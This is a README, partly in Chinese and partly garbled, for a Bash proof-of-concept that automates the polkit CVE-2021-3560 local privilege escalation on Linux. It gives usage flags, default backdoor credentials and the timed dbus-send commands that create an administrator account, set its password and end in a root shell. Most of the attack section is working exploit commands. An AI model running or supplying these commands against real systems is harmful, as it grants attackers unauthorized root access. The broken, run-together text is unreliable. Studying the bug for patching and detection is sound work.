这只是一个Bash PoC脚本,自动化了Kevin Backhouse博客中提到的利用步骤。 阅读他关于此漏洞的文章:https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice 和 gnome-control-center 且 polkit 版本为 0.113(或更高版本)或 0-105-26(Debian 对 polkit 的分支)的发行版。Ubuntu 20.04(polkit 版本 0-105-26,Debian 分支)和 Centos 8(polkit 版本 0.115)上测试通过。如果你确定目标存在漏洞,但利用的检查功能失败,请使用 -f=y 标志跳过所有检查并强制利用。su - <username> 配合提供给脚本的密码登录该账户,然后输入 进入 root shell!全面的解释和手动利用该漏洞的 PoC 已在研究者的博客中详细说明。
以下为此利用的简要说明:
dbus 消息触发 polkit,但在 polkit 处理请求时突然关闭该请求,然后发送第二个请求,使用前一个请求的唯一总线标识符,以 UID 0(即 root)的身份执行请求。polkit 中,因为它会将一个不再存在的总线标识符对应的连接视为来自 UID 0 的请求。这意味着,如果我们可以正确把握攻击时机,在合适的时刻终止第一个请求,那么就可以以 UID 0(即 root)的权限发送第二个请求。如前所述,这只是一个自动化 Kevin Backhouse 的 PoC 的 bash 脚本。核心命令相同;我只是自动化了一些初始步骤(例如正确计算时间、扫描漏洞、自定义凭据注入、打印彩色输出等)。
如果未带任何参数运行此脚本,其默认行为如下:
/etc/os-release 文件]accountservice 和 gnome-control-center。[在 rhel/centos/fedora 中使用 rpm -qa,在 debian/ubuntu 发行版中使用 dpkg -l]rhel/centos/fedora 要求 0.113 或更高版本;Debian/Ubuntu 要求 0-105-26]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null 找出使用 dbus-send 发送请求所需的时间。$t)。()[使用 awk 计算]sudo bashEsc 键关闭认证提示,并快速按 Ctrl+C 终止脚本。$t=time-required-to-request/2$t)后,重复 20 次向目标插入 $username(secnigma)的请求。 bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma 确认),则生成密码哈希(使用 bash openssl passwd -5 `echo -n $password` )。($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!